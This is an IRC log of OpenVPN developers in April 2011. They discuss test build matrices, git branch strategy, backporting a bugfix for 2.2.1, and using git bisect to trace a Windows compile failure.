x86_64-linux-gnu-gcc -DHAVE_CONFIG_H -I. -I. -g -O2 -MT options.o -MD -MP -MF .deps/options.Tpo -c -o options.o options.c 13:30 <@cron2> dazo: that would be in line with what other packages (like openssh) do 13:30 <@mattock> I had some issues building Debian 5 amd64 packages for 2.2.0 13:30 <@cron2> mattock: any error messages? 13:30 <@dazo> cron2: considering the status of IPv4 addresses in the world ... not having IPv6 by default sounds wrong to me now 13:30 <@mattock> nope, it just stalls 13:31 <@cron2> dazo: I'm agreeing with you :) 13:31 <@dazo> mattock: that's odd 13:31 <@mattock> yep, I finally managed to build it 13:31 <@mattock> only that specific configuration was affected, so it may have been a temporary glitch 13:31 <@cron2> --enable-lzo-stub 13:32 <@dazo> uhh, that's one of the new ones 13:32 <@mattock> let me try to collect all of those 13:32 <@dazo> definitely 13:32 <@cron2> so we have 3 lzo variants (nothing, --disable-lzo, --enable-lzo-stub). 3 crypto variants (?). 3 variants with and without server/client code. 13:32 <@cron2> --small 13:32 <@cron2> --ipv6 13:32 <@cron2> --port-share 13:32 <@dazo> mm 13:33 <@dazo> --enable-iproute2 13:33 <@cron2> if we want a full matrix that would be 432 variants 13:33 <@dazo> If we can script that ... I don't see why not 13:34 <@dazo> it could catch interesting odd combinations which otherwise would slip through 13:34 <@cron2> one ton of co2 for every commit? 13:34 <@dazo> *could slip 13:34 <@dazo> not every commit, but for every push I do 13:35 <@dazo> which is not that often :) 13:35 <@cron2> yeah, but anyway, this is a lot compiles, and some of them will then fail t_client.sh (--disable-multi) 13:35 <@cron2> a lot of compiles 13:35 <@dazo> it sure is 13:35 <@mattock> 432 builds for every commit... quite a few 13:35 <@cron2> maybe we can identify --enable/--disable combinations that touch completely unrelated bits of code, and can combine 13:36 <@cron2> mattock: 432 multiplied by number of different OSes we have 13:36 <@mattock> and branches? 13:36 <@cron2> not all branches have all options 13:36 <@cron2> 2.2 doesn't have --enable-ipv6 or --enable-lzo-stub 13:36 <@mattock> I think we need to figure out the most essential 13:36 <@dazo> remember, in our case it is really not per commit ... it is per push I do to the public repo 13:36 <@mattock> otherwise my server with (currently) 4 buildslaves won't do anything else except build openvpn :) 13:37 <@mattock> I do have some other users for it ;) 13:37 <@dazo> heh :) 13:38 <@mattock> can you guys try to identify the essential combinations? 13:38 <@mattock> then I can setup buildslaves to build those 13:38 <@dazo> sure ... it will take a while before I have time to really do that, but yeah, I'll have it on my todo list 13:38 <@mattock> no problem, I need to clean up buildbot configuration first anyways 13:38 <@cron2> cool (I'll be away for the next two weeks) 13:39 <@mattock> jamesyonan: there? 13:39 <@cron2> cool. next topic? 13:39 <@mattock> cron2: yep, unless james has something to add 13:39 <@mattock> (quickly) :) 13:39 <@mattock> code repositories? dazo? 13:40 <@dazo> cron2: after may 16, I have it more easy ... so if we could have a look then 13:40 <@dazo> mattock: sure! 13:40 <@dazo> I've been thinking about the openvpn.git and openvpn-testing.git trees 13:41 <@dazo> and I see one good purpose of having both ... where openvpn.git is only what we have released or are about to release 13:41 <@dazo> that way stability focused people can pick one clean tree without being confused about feature branches which may or may not be included 13:41 <@mattock> release preparation and maintenance branch... 13:41 <@dazo> yeah 13:42 <@dazo> openvpn-testing.git will have feature branches and will be the "sandbox" where we can do a lot of testing 13:42 <@cron2> sounds workable 13:42 <@mattock> yep 13:42 <@mattock> dazo: does it make your life with Git more difficult in any way? 13:42 <@mattock> e.g. rebases, merges and such 13:42 <@dazo> I would then keep both master branches in synch ... and in fact ... it's just for anyone to just do: git remote add stable git://...../openvpn.git in a clone of openvpn-testing.git .., and they get that stuff 13:43 <@dazo> mattock: not at all, that's the good thing 13:43 <@cron2> why would I want that, add "stable"? 13:43 <@dazo> I have both repos now in one directory ... and I just say "push master to remote xxx" 13:43 <@dazo> I'm considering to remove the release/ branches from openvpn-testing 13:44 <@cron2> ah 13:44 <@dazo> but you're right, the other way around is probably more useful 13:44 <@cron2> indeed, then you need both :) 13:44 * cron2 will do everything git-master dazo says 13:44 <@dazo> :) 13:44 <@mattock> +1 13:44 <@dazo> so that's the easy part 13:44 <@dazo> then there is allmerged 13:44 <@dazo> right now ... allmerged is basically == master 13:45 <@cron2> what did you do with the orphaned feature branches? 13:45 <@dazo> because we have merged all approved feature branches 13:45 <@cron2> ic, "nonmerged" 13:45 <@dazo> then we have feat_vlan_tagging and feat_pass_tos which are "in the middle of nowhere 13:45 <@dazo> notmerged ... hmmm 13:46 <@mattock> dazo: is there still the problem with commit history being messed up in "allmerged"? 13:46 <@mattock> duplicate commits, that is 13:46 <@mattock> with different commit ids 13:46 <@dazo> first of all ... both of them do carry important stuff .... however, the developers of these branches are not much active 13:47 <@dazo> mattock: most likely ... but the allmerged branch should not be used for anything "usefull" other than to test all branches at once 13:47 <@mattock> and the only problem with them being lack of testing, if I recall correctly 13:47 <@dazo> yeah 13:47 <@dazo> that too 13:48 <@dazo> "today's" allmerged needs to be rebuilt from scratch ... or else I'll have to sort out a lot of conflicts against master + feat_ipv6_* + what is already in allmerged 13:49 <@dazo> so each time we merge a new feature branch into master, we basically need to rebuilt allmerged 13:50 * dazo wonders if this sounds understandable or is too detailed ... 13:50 <@mattock> do we really want/need allmerged? 13:50 <@dazo> that's kind of what I've been wondering about as well 13:50 <@mattock> I would guess people who want a specific feature, use a feature branch 13:50 <@mattock> but if there's some benefit in having all features in on package... 13:51 <@dazo> it did serve a purpose when we went through all the old patches from mailing list and sf.net trackers ... and we kind of were establishing the 2.2 code base 13:51 <@mattock> of course, we wouldn't have to, say, build Windows packages for 10 different feature branches to have them tested 13:51 <@mattock> ...if we have something like "allmerged" 13:51 <@dazo> exactly 13:51 <@mattock> same with binary packages (deb/rpm) 13:51 <@dazo> when we have more feature branches which are actively being developed, then allmerged makes sense 13:52 <@dazo> and I know that the polarssl patches will come at some point 13:52 <@dazo> that I'd like to put into a feature branch, just as the ipv6 stuff 13:52 <@dazo> then a allmerged branch could serve as a stabilisation branch before hitting master 13:53 <@mattock> dazo: has it been painful to maintain "allmerged"? 13:53 <@dazo> some times, yes ... but not lately .... and if I rebuilt it again now, it should be good 13:53 <@mattock> I think it serves a purpose, if it's got all the cutting-edge features we want to get tested (especially in snapshot builds) 13:54 <@dazo> and I see allmerged as a possible way how to test those feat_vlan* and feat_passtos branches now 13:54 <@mattock> is everything in those branches ACKd? 13:54 <@dazo> they are not "accepted", but could now go into allmerged + master, to see if they do work 13:54 <@dazo> nope 13:55 <@dazo> 'allmerged' is probably the wrong name for such a branch though .... 'experimental' is probably better 13:55 <@mattock> yep, that's better 13:55 <@mattock> less confusing 13:55 <@dazo> agreed 13:55 <@mattock> I say let's have this "experimental" branch, at least for snapshot build's sake 13:56 <@dazo> okay, then I'll drop the allmerged branch ... and then we'll move over to experimental for un-acked branches 13:56 <@mattock> dazo: which branch would you suggest for Windows snapshot packages? 13:57 <@dazo> hmmm ... right now, I'd say 'master' 13:57 <@mattock> later perhaps "experimental" also/instead? 13:57 <@dazo> unless Windows based _developers_ shows up and says "what about us?" 13:58 <@dazo> experimental for Windows can probably be okay if we get a buildslave to do the building 13:58 <@dazo> but in the moment we need to do it manually, then it makes sense to just do master from time to tim 13:58 <@dazo> e 13:58 <@mattock> http://trac.buildbot.net/wiki/RunningBuildbotOnWindows 13:59 <@vpnHelper> Title: RunningBuildbotOnWindows – Buildbot (at trac.buildbot.net) 13:59 <@mattock> I won't say "it's no biggie" 13:59 <@mattock> how often should we publish snapshots? 13:59 <@dazo> it *looks* easy ... but building OpenVPN on Windows was also supposed to be easy :-P 14:00 <@mattock> yep :) 14:00 <@mattock> actually, I think I said "it was more difficult than I thought it to be" 14:00 <@dazo> :) 14:00 <@mattock> anyways, biweekly snapshots? 14:00 <@dazo> well, monthly snapshots is probably not a bad time frame 14:01 <@dazo> we do a lot in a short period, and then it silent for a while 14:01 <@mattock> ok, those might actually have some changes in them 14:01 <@dazo> yeah 14:01 <@mattock> monthly snapshots it is then 14:01 <@dazo> ftp://ftp2.secure-computing.net/pub/openvpn/revision.log 14:01 <@mattock> next topic? 14:01 <@dazo> this gives an indication 14:02 <@dazo> next, sure :) 14:02 <+ecrist> mattock: before you leave for the day, can you work with me on my ldap issue? 14:03 <@dazo> A 2.2.1 release? 14:03 <@mattock> ecrist: yep 14:03 <@mattock> dazo: yep 14:03 <@cron2> dazo: unavoidable :) 14:04 <@dazo> I would say that the issue found is no hurry ... it's a compile time issue when --enable-small --disable-crypto --disable-ssl are used together 14:04 <@mattock> the release process is still quite heavy, probably takes me ~4 hours to setup everything 14:04 <@dazo> which is a rather odd combination for a VPN (no encryption) 14:05 <@dazo> however, what *might* push us a little bit is a bugfix james pointed out (r7125) 14:05 <@mattock> so due to ^^^ I'd rather not make releases every week ;) 14:05 <@cron2> dazo: what is that? 14:05 <@dazo> mattock: nope :) I don't have time for that either :) 14:05 * dazo looks up the commit 14:05 <@mattock> maybe we should align our bug fixes with "patch Tuesday"? :P 14:06 <@dazo> http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn.git;a=commit;h=4d453a1792b04f01a8c313157402ce0501ae809c 14:06 <@vpnHelper> Title: SourceForge - openvpn/openvpn.git/commit (at openvpn.git.sourceforge.net) 14:06 <@dazo> mattock: that might be a good idea ... even though, that is next week I believe :-P 14:07 <@dazo> but if we plan for having a 2.2.1 in ~4-6 weeks, that's probably reasonable 14:07 <@cron2> ah, that one - didn't we merge that already? I seem to remember that it showed up a few weeks ago already 14:08 <@dazo> that was r7127, which was a one-liner 14:08 <@dazo> management = NULL; 14:08 <@mattock> 4-6 weeks sounds good 14:08 <@cron2> ah, and in that context, I think I also checked 7125 becuase James mentioned it was important 14:08 <@mattock> end of May, perhaps 14:08 <@dazo> this one requires a bigger backport of more infrastructure 14:08 <@cron2> why? 14:09 <@dazo> it depends on more packet_id information stuff, which comes in an earlier commit 14:09 <@mattock> functions getting lots of new parameters? 14:09 <@cron2> oh 14:09 <@dazo> I've found at least 2 more commits to make this one compile 14:09 <@cron2> more exciting stuff in 2.1 that never made 2.2 14:09 <@dazo> oh yeah ... 14:09 <@cron2> this is not exactly a "backport" but more a "cross"port... 14:10 <@cron2> this is not helpful 14:10 <@dazo> well, it's a backport considering 'master' is ahead of release/2.2 right now ;-) 14:10 <@dazo> I have merged in the latest changes from james' SVN tree to master 14:10 <@cron2> oh, ok, all of 2.1 SVN is in "master" but not in 2.2 14:11 <@dazo> exactly 14:12 <@dazo> And I'm using a compile of master on my work laptop, where I send IPv6 traffic features as well as IPv4 traffic ... and that works very well 14:12 <@dazo> compiles without any warnings even :) 14:12 <@cron2> cool 14:13 <@cron2> btw, pfsense 2.0 will be based on OpenVPN 2.2 + both ipv6 branches 14:13 <@cron2> so we'll get test coverage there :) 14:13 <@dazo> cool! 14:13 <@mattock> dazo: what about "Minimizing merge conflicts between SVN and Git" 14:13 <@mattock> you mentioned openvpn.8 being a pain 14:14 <@dazo> well, that requires probably jamesyonan attention a little bit :) 14:14 <@mattock> jamesyonan: art thou there? 14:14 <@dazo> yeah, openvpn.8 is annoying 14:15 <@dazo> james' tree uses --option .... while a patch from the debian guys changed that to \-\-option ... as -- should be escaped for some reason 14:15 <@jamesyonan> hi, I'm here 14:15 <@dazo> (and debian build tools do complain about that otherwise) 14:15 <@cron2> dazo: I'll fix that for the ipv6 options 14:15 <@dazo> cron2: thx! 14:16 <@mattock> jamesyonan: earlier we discussed which configure flag combination we should test (with buildbot) 14:16 <@dazo> so you can guess all the fun merge conflicts I then get ... when we have documentation patches adding more stuff (with \-\-) and then the SVN tree comes with -- ... it's a lot of cut'n'paste 14:16 <@mattock> we can't test for every possible combination or the number of builds triggered by every commit explodes into our hands 14:17 <@mattock> if you have any especially important combinations that should be tested, let us know 14:17 <@dazo> jamesyonan: would it be possible for you to take the latest openvpn.8 file and apply that one to your svn tree? And make sure that you escape -- as \-\- when you add more documentation? 14:18 <@jamesyonan> yeah I could certainly do that 14:19 <@dazo> that'd be great ... it might be a few options which are not relevant for your branch yet ... not sure if you would let that pass for now (considering you'll hopefully get over to git at some point) 14:19 <@jamesyonan> dazo: thanks a lot for merging changes from my tree 14:20 <@dazo> my pleasure :) 14:20 <@jamesyonan> I'm at 14:20 <@dazo> (except the merge conflicts :-P) 14:20 <@jamesyonan> 2.1.3w now 14:20 <@dazo> that's where the master branch is now as well 14:21 <@dazo> plus some more fixes 14:21 <@jamesyonan> great 14:21 <@dazo> we discussed a bit earlier the r7215 commit you wanted into 2. ... I'm working on a backport for 2.2.1 14:22 <@dazo> right now, there's some compile complaints about redefinition of log levels ... but I'll figure out that 14:22 <@mattock> jamesyonan: just wondering... how simple/complex your SVN workflow is? Is it mostly just "svn commit"? 14:23 <@mattock> svn add, svn commit 14:23 <@jamesyonan> yeah, svn add, commit, status, log, etc. 14:24 <@dazo> and you have some build scripts which pulls the svn tree, I presume? 14:24 <@mattock> excellent! from experience I can tell that Git won't change that much 14:25 <@dazo> (the change you will notice is that each of those actions will go a lot faster :)) 14:25 <@jamesyonan> yes, we have a bunch of different build scripts that interact with svn 14:26 <@jamesyonan> you don't have to sell me on git -- I'm looking forward to migrating to it 14:26 <@dazo> :) 14:26 <@mattock> I was thinking along the lines "see how easy it will be" :P 14:27 <@mattock> anyways, do we have any other topics to cover? 14:27 <@mattock> none on the list 14:28 <@dazo> goodie :) 14:28 <@dazo> I'll play with the 'experimental' branch during weekend then, and give another update on the mailing list 14:29 <@mattock> sounds good! 14:29 <@mattock> meanwhile I'll write the summary and reprioritize my tasks 14:29 <@dazo> jamesyonan: one question ... how critical is the fix you have in r7125? 14:29 <@jamesyonan> mattock: regarding testing build permutations, I would just focus on the big ones like --disable-crypto, --disable-ssl, --disable-lzo, disable-management 14:30 <@dazo> just wondering if a release 4-6 weeks is reasonable time frame for that one 14:30 <@mattock> jamesyonan: ok 14:30 <@jamesyonan> dazo: not sure how many people use adaptive mode in the client, where both UDP and TCP endpoints are defined 14:31 <@jamesyonan> the access server uses it though 14:31 <@jamesyonan> this issue only affects adaptive mode 14:32 <@dazo> ahh, okay ... well, from time to time it comes up questions about such configurations ... so there are definitely users for it 14:32 <@dazo> (however, few manages to get it right immediately) 14:34 <@mattock> ok, let's call this a day 14:34 <@dazo> agreed :) 14:34 <@cron2> dazo: shall we discuss the feat_ipv6_* weirdness tomorrow, then? 14:34 <@dazo> mattock: I think r7125 can wait for the time frame we've set ... it's not a regression from 2.1.x 14:34 <@dazo> cron2: ahh 14:34 <@dazo> we can do that now 14:34 <@mattock> agreed, and not a security issue, either 14:34 <@dazo> nope 14:34 <@mattock> ecrist: shall we continue with LDAP? 14:35 <+ecrist> aye 14:35 <@mattock> pm? 14:35 * dazo looks at cron2's logs again 14:36 <+ecrist> sure 14:36 <@dazo> cron2: it seems that your feat_*_2.2 and feat_*_2.3 branches have quite different roots ... and this is the issue 14:37 <@cron2> _2.3 is a branch from _2.2 and rebase to master 14:37 <@jamesyonan> mattock: BTW, I have an old script for testing build permutations: http://secure.openvpn.net/tmp/build-permut 14:37 <@dazo> right 14:38 <@mattock> jamesyonan: ok, I'll check that out 14:39 <@cron2> dazo: wouldn't it be the easiest approach to completely drop feat_ipv6_payload? 14:39 <@jamesyonan> mattock: it references another script called "fresh-test" that I've also put in the same folder 14:39 <@cron2> that's just confusing 14:39 <@dazo> cron2: I am wondering about that ... but that will give you some more work though, as that requires you to backport again the 2.3 commits to a the new 2.2 14:40 <@cron2> dazo: I don't think so - I have a nice "based on 2.2" branch and a nice "based on 2.3" branch 14:40 <@cron2> and rebasing from 2.2 -> 2.3 is very painless 14:40 <@cron2> (so cherrypicking should also be easy) 14:41 <@cron2> I don't need the old "based on 2.1" branch any longer - and since this is not actually "the old branch" anymore *anyway*, it's just creating confusion 14:41 <@dazo> I'm worried that 2.2->2.3 rebasing will make more mess ... as rebasing is used when you want to apply "upstream changes" to your working branch 14:41 <@cron2> well, rebasing is rebasing, and "apply upstream changes" is mergin 14:42 <@dazo> no, it's not that simple ... and that was some of the mistakes I did in -testing.git earlier 14:42 <@dazo> I mixed those two 14:42 <@cron2> well, the git manual is fairly clear there - always rebase branches, always merge to master... 14:42 <@cron2> not the other way round, because it will do weird things 14:42 <@dazo> So ... if you regularly rebases your 2.3 branch against my master .... then I can merge your work into master 14:42 <@dazo> exactly 14:43 <@cron2> that's the idea 14:43 <@dazo> okay, then we're on the same page :) 14:43 <@cron2> so what do we need "feat_ipv6_payload" for? 14:43 <@dazo> I thought that was your 2.2 branch 14:44 <@cron2> my 2.2 branch is feat_ipv6_payload_2.2 14:44 <@cron2> feat_ipv6_payload is what you renamed my _2.3 branch to 14:44 <@dazo> remotes/origin/feat_ipv6_payload == remotes/gert/feat_ipv6_payload_2.3 == feat_ipv6_payload_2.3 14:45 <@dazo> so that's clean 14:45 <@cron2> yeah, and that feat_ipv6_payload is now coming back here, and is confusing my git, because feat_ipv6_payload_2.2 is a branch off feat_ipv6_payload(old), which is something completely different from feat_ipv6_payload(now) 14:45 <@dazo> it's the your payload_2.2 branch which is confused ... but if you claim that's a clean branch ... then you probably can modify 14:45 <@cron2> it's not clean 14:45 <@dazo> okay 14:46 <@cron2> there's completely different stuff in remotes/origin/feat_ipv6_payload now 14:46 <@dazo> edit .git/config ... you'll find your feat_ipv6_payload_2.2 there ... and it referenes remotes/origin/feat_ipv6_payload ... change that to remotes/origin/release/2.2 14:46 <@dazo> that's the issue I think 14:46 <@cron2> [branch "feat_ipv6_payload_2.2"] remote = origin merge = refs/heads/feat_ipv6_payload 14:46 <@cron2> mmmh 14:47 <@cron2> doesn't git adjust that when rebasing to a differnt branch? 14:47 <@dazo> nope, that's set when you checkout a branch ... and especially if you use: git branch -t -b mybranch remotebranch 14:47 <@dazo> git checkout, I mean 14:48 <@cron2> o-kay. that bit I was missing 14:48 <@cron2> and since remote/origin/feat_ipv6_payload has way different stuff in it now, the dependency graph has diverted 14:48 <@cron2> let me test that 14:48 <@dazo> exactly 14:49 <@cron2> mmmh 14:49 <@cron2> Your branch is ahead of 'origin/release/2.2' by 32 commits. 14:49 <@dazo> which makes sense! 14:50 <@cron2> ah, so this is a completely normal message if you checkout back and forth between branches? 14:50 <@dazo> and no "has diverged" message? 14:50 <@cron2> no 14:50 <@dazo> perfect 14:50 <@cron2> (unless the branch has been merged back) 14:50 <@cron2> ok, great. 14:50 <@dazo> yeah, that's a normal message ... it states that the remote branch is older than your branch 14:50 <@dazo> which might be an indication that a push is needed (if you are the owner of the remote branch) 14:51 <@dazo> otherwise, this is because you're just ahead of upstream ... which you are in this case 14:51 <@cron2> ok, so there's two variants 14:51 <@cron2> a) I pull from my own repo, change something, push back to the original branch 14:51 <@dazo> correct 14:52 <@cron2> or b) I pull, and it will just tell me "ahead by <n> commits" as long as this branch is not merged 14:52 <@dazo> yeah 14:52 <@cron2> which will never happen, and is fine with me - I just needed to understand 14:52 <@dazo> \o/ :) 14:53 <@cron2> so if you commit something to release/2.2, and I do "git pull", it will then tell me "there's a commit in your branch that I need" and then I can merge that (since my branch is based in 2.2/HEAD) 14:53 <@dazo> how people do it is that they pull down a tree, do their commits in a working branch ... sends patches/pull requests ... and then they scrap the working branch when it has arrived the upstream tree 14:53 <@cron2> ok, this is what we'll do after 2.3 release :) 14:54 <@dazo> so it's almost like a new working branch for each pull request/patch series 14:54 <@dazo> don't use 'git pull' unless you add --rebase 14:54 <@cron2> yeah 14:54 <@dazo> I would recommend: git fetch ... and then git rebase ... just to avoid that error 14:55 <@cron2> ah, yes, I always confuse pull and fetch 14:55 <@dazo> I've banned my own use of 'git pull' after having made some nasty mess by mistake :) 14:56 <@cron2> I'll ask the next time I need to pullfetchrebasethingies :) 14:56 <@dazo> sure! please do :) 14:56 <@cron2> ok, cool 14:56 <@dazo> I believe you might be missing one patch already (the --enable-small --disable-crypto/ssl fix) ... so you can try to do a rebase now 14:57 <@cron2> we did a rebase today already :) - that was the first test, some 3 hours ago 14:57 <@dazo> ahh :) 14:57 * dazo probably need to get some rest, as he forgets details :) 14:59 <@cron2> well, good night everybody 14:59 <@dazo> g'night :) 15:02 -!- dazo is now known as dazo_afk 15:21 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 15:49 -!- andj is now known as andj_afk 16:06 -!- trispace [~trispace@chello212017114137.18.11.vie.surfer.at] has quit [] 16:09 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 19:24 -!- raidzx [~raidz@46-105-63-15.kimsufi.com] has joined #openvpn-devel 19:27 -!- raidz_ [~raidz@46-105-63-15.kimsufi.com] has quit [Ping timeout: 240 seconds] 20:00 -!- andj_afk is now known as andj 20:17 -!- andj is now known as andj_afk 20:18 -!- andj_afk is now known as andj 20:49 -!- andj is now known as andj_afk --- Day changed Fri Apr 29 2011 00:34 -!- andj_afk is now known as andj 00:55 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:55 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:30 -!- andj is now known as andj_afk 01:49 -!- dazo_afk is now known as dazo 02:10 -!- dazo is now known as dazo_afk 02:11 -!- dazo_afk is now known as dazo 02:32 -!- dazo is now known as dazo_afk 02:55 <@mattock> dazo: are there any TAP-driver changes in new "master"? or will TAP-driver from 2.2.0 work? 02:55 <@mattock> or maybe cron2 can enlighten me, too :) 03:22 <@mattock> dazo: here's some fuel to deepen your hatred for Visual Studio C compiler: http://build.openvpn.net/buildlog.txt 03:22 <@mattock> output of trying to build the master branch on the build computer 03:22 <@mattock> <http://msdn.microsoft.com/en-us/library/ws579tt7%28v=vs.80%29.aspx> 03:22 <@vpnHelper> Title: Compiler Error C2632 (C++) (at msdn.microsoft.com) 03:23 <@mattock> seems to be related to cron2's work also 04:08 -!- dazo_afk is now known as dazo 04:09 <@dazo> mattock: there should be no wintap changes, afaik 04:10 <@dazo> oh dear ... that's quite a lot of compile mess 04:11 <@dazo> hmmm it complains about C:\Program Files\\Microsoft SDKs\Windows\v6.0A\include\ws2tcpip.h ... that's not our fault is it? or are we missing some compile flags? 04:26 -!- jamesyonan [~jamesyona@76.120.71.74] has quit [Quit: jamesyonan] 04:49 <@dazo> mattock: Can you try this patch: http://www.fpaste.org/Jrmk/raw ... to see if that removes the openvpn-plugin.h issues? 04:52 <@mattock> will do after lunch 04:55 <@dazo> thx! 05:00 * dazo just read the summary from yesterdays meeting ... and is a bit impressed of all we managed to decide on :) 05:00 <@dazo> good job everyone :) 05:47 <@cron2> mattock: as far as I understand, tap in 2.2 is "the latest and greatest" with all changes 06:23 <@mattock> dazo: still complains about the same thing 06:23 <@dazo> in openvpn-plugin.h? 06:23 <@dazo> c:\users\samuli\openvpn-build\openvpn-master\openvpn-plugin.h(207) : warning C4114: same type qualifier used more than once 06:23 <@dazo> those kind of messages 06:24 <@mattock> lemme check, not sure actually 06:24 <@dazo> I wouldn't fix all of these warnings ... but thought I could clean up things I knew about :) 06:26 <@mattock> no mentions of openvpn-plugin.h anymore 06:26 <@dazo> cool! then that's fixed ... just another 100 to go :) 06:27 * dazo submits patch 06:29 <@mattock> dazo: perhaps you could mention the entire error (http://build.openvpn.net/buildlog.txt) 06:29 <@mattock> so that interested parties can fix those, if they want 06:30 <@dazo> I won't mention it in the commit message ... but we can pull that in as a separate mail thread 06:38 <@dazo> mattock: do you have some time to investigate more? 06:38 <@mattock> ~30 mins maybe 06:38 <@mattock> is that enough? 06:38 <@mattock> max 45 06:38 <@dazo> probably not ... I was considering to challenge you with 'git bisect' 06:39 <@dazo> that basically does require a lot of building ... where you in between tell git if it's good or bad ... and then you can narrow down the commit which causes issues 06:39 <@dazo> (it took me about 7-8 builds to find the --client-cert-not-required commit this way) 06:41 <@mattock> hmm, let's try it 06:41 <@mattock> any pointers? 06:42 <@dazo> git bisect start 06:42 <@dazo> git bisect good v2.2.0 06:43 <@dazo> git bisect bad master 06:43 <@dazo> and then it will checkout a starting point ... you build ... and if no errors, then do: git bisect good 06:43 <@dazo> and if errors: git bisect bad 06:44 <@dazo> and do that all the way until it identifies a commit for you 06:45 <@dazo> (the man page for git bisect is pretty good written) 06:46 <@mattock> ok, I'll try that 06:46 <@dazo> nice :) 06:46 <@dazo> thx a lot! 06:50 <@mattock> dazo: is my devcon sources.in patch missing from 2.2.0 by any chance? 06:50 <@mattock> it's complains about it, I thought it got fixed 06:51 <@mattock> oh, it's 2.2-RC2 06:51 <@dazo> it shouldn't ... 06:51 <@mattock> why did it start bisecting from 2.2-RC2? 06:51 <@mattock> with "git bisect good v2.2.0" 06:56 <@mattock> ok, finished 06:56 <@mattock> 49a945... 06:56 <@dazo> I don't know why it would do that 06:56 <@mattock> juanjo is to blame 06:56 <@mattock> ;) 06:57 <@mattock> if the bisect went as it should 06:57 <@dazo> can you do a git bisect log? 06:57 <@dazo> and pastebin it? 06:57 <@dazo> +/* The following two headers are needed of USE_PF_INET6 */ 06:57 <@dazo> +#include <winsock2.h> 06:57 <@dazo> +#include <ws2tcpip.h> 06:58 <@dazo> those lines in that commit .... might be one reason, yes 06:58 <@dazo> but I wonder if it is more 06:59 <@mattock> http://pastebin.com/UhL0dYeS 06:59 <@mattock> the error log was full of ws2tcpip.h 07:02 <@dazo> thx! 07:02 <@dazo> mattock: I'll send a mail now to the ML 07:02 <@mattock> ok 07:04 <@dazo> mattock: thanks a lot! with this bisect, the mail could be more detailed 07:05 * dazo likes git bisect a lot :) 07:05 <@mattock> well, it's was really quick to bisect, because the errors popped up at the first file being compiled 07:05 <@mattock> yep, it's neat 07:12 <+ecrist> nice response/opinion, mattock 07:12 <@mattock> thanks 07:13 <@mattock> my primary concern was the potential for vendor lock-in, but as there's really none, I'm fine with vbulletin 10:07 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 10:34 <+krzie> [11:25] <vpnHelper> "man" is (#1) http://openvpn.net/man for 2.0 manual, or (#2) http://openvpn.net/man-beta.html for 2.1 manual, or (#3) the man pages are your friend!, or (#4) http://openvpn.net/index.php/open-source/documentation/manuals/427-openvpn-22.html for 2.2 manual 10:34 <@vpnHelper> Title: OpenVPN 2.2 (at openvpn.net) 10:34 <+krzie> [11:27] <krzie> ecrist, should we ask for man-beta to goto 2.2 now? 10:34 <+krzie> [11:28] <krzie> i think yes, that way everywhere we linked to man-beta will just silently update 10:34 <+krzie> [11:28] <ecrist> man should go there now 10:34 <+krzie> [11:28] <krzie> true, maybe both then 10:34 <+krzie> [11:28] <ecrist> man-2x should go to 2.0 man and man-21 should go to 2.1 man 10:35 <+krzie> i agree with ecrist, and also think men-beta should goto 22 10:35 <@dazo> agreed 10:35 <@dazo> Maybe vpnHelper should even forget about #1 as well 10:35 <+krzie> well #1 should go to 22 10:35 <@dazo> yeah 10:36 <+krzie> but ya, when they get fixed we should fully re-do !man 10:36 <@dazo> yup 12:22 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 12:22 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:28 -!- dazo is now known as dazo_afk 13:27 -!- psha [~psha@213.208.162.69] has quit [Read error: No route to host] 13:32 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 14:08 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] 14:10 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 14:10 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:46 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 15:15 -!- andj_afk is now known as andj 15:56 -!- andj is now known as andj_afk 18:36 -!- krzie [nobody@openvpn/community/support/krzee] has left #openvpn-devel ["Leaving"] 18:44 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 18:44 -!- mode/#openvpn-devel [+v krzie] by ChanServ 23:10 -!- raidz_ [~raidz@46-105-63-15.kimsufi.com] has joined #openvpn-devel 23:11 -!- raidzx [~raidz@46-105-63-15.kimsufi.com] has quit [Ping timeout: 260 seconds] --- Day changed Sat Apr 30 2011 00:32 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 02:02 -!- andj_afk is now known as andj 03:20 -!- andj is now known as andj_afk 04:16 -!- andj_afk is now known as andj 04:47 -!- andj is now known as andj_afk 08:05 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 08:05 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 08:28 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 08:28 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 08:29 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:09 -!- andj_afk is now known as andj 09:45 -!- andj is now known as andj_afk 13:22 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 15:00 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 15:06 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 15:23 -!- djc [~djc@gentoo/developer/djc] has joined #openvpn-devel 15:23 < djc> hey guys, is there a list of major features for 2.2 compared to 2.1? 15:29 < djc> i.e. is there now support for ipv6? 15:29 <+krzee> not yet 15:30 <+krzee> the windows tap adapter was changed to support ipv6 15:30 <+krzee> but the actual ipv6 code for openvpn (ie: --server-ipv6) is not in there yet 15:31 <+krzee> but there is a list, its on the downloads page 15:31 <+krzee> www.openvpn.net/download 15:31 <+krzee> the ipv6 patch is available from cron2's website tho 15:31 <+krzee> or from a dev snapshot 15:31 <+krzee> !snashots 15:32 <+krzee> !snapshots 15:32 <@vpnHelper> "snapshots" is (#1) weekly dev snapshots are available from ftp://ftp.secure-computing.net/pub/openvpn, or (#2) Weekly snapshots: 